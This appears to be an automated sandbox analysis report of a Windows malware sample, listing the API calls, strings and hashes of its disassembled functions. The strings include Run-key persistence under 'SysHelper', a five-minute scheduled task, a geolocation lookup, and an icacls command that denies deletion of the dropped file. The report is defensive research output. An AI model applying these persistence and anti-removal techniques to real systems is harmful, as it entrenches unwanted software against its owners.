Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,007DAC98,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

--ForNetRes, xrefs: 0041A22E
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
IsTask, xrefs: 0041A1EE, 0041A299
--Task, xrefs: 0041A2CD
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
x*P, xrefs: 0041ACE4
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Program Files\Google\, xrefs: 0041AFB9
7P, xrefs: 0041B164
%username%, xrefs: 0041B283
X1P, xrefs: 0041A485
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
D:\Program Files (x86)\Google\, xrefs: 0041B085
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
IsAutoStart, xrefs: 0041A1D0, 0041A273
IsNotTask, xrefs: 0041A654
IsNotAutoStart, xrefs: 0041A645
F:\, xrefs: 0041B397
D:\Windows\, xrefs: 0041AFF3
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
I:\5d2860c89d774.jpg, xrefs: 0041B32F
x2Q, xrefs: 0041A856
C:\Windows\, xrefs: 0041AE0F
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
--AutoStart, xrefs: 0041A2EC
list<T> too long, xrefs: 0041B669, 0041B673
runas, xrefs: 0041A6CE
<, xrefs: 0041A67B
--Service, xrefs: 0041A30B
--Admin, xrefs: 0041A1B4, 0041A632

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 9b5c50d6294a18cf099b6c7e176b95353e3768e69417b8150bb4c582a319d2e0
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

2030-05-02T08:00:00, xrefs: 0040D737
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790
--Task, xrefs: 0040D8DD
PT5M, xrefs: 0040D5A1, 0040D66C
Trigger1, xrefs: 0040D6FA
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
Author Name, xrefs: 0040D4C8
Time Trigger Task, xrefs: 0040D43C, 0040D973

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299
Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
EnumProcessModules, xrefs: 0041226C, 004122A1

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

Shell32.dll, xrefs: 00411E94
SHGetFolderPathW, xrefs: 00411E9F
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
SysHelper, xrefs: 00411D5B, 004120EB
D, xrefs: 00412128
icacls ", xrefs: 0041214C
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
" --AutoStart, xrefs: 004120C2
" --AutoStart, xrefs: 00411DD1

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: def383993aa6414e642db034fbd0b05392c2206d38604743aacc9a89ce837c68
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: def383993aa6414e642db034fbd0b05392c2206d38604743aacc9a89ce837c68
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: eeb942be7a8daecd01f402b1fc71538ff316d088b395842a07765e87b7e27695
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC50 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0041CC83

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction ID: 52da3c53c07101cb0fed2dfe03d77d14ca015ab54627e4d196b0d3cf544a0d43
Opcode Fuzzy Hash: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction Fuzzy Hash: 9AE026303803049BEB08DE12C890ABB7755DF92740B04803EAC0E8B361FA34DD04D7E9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
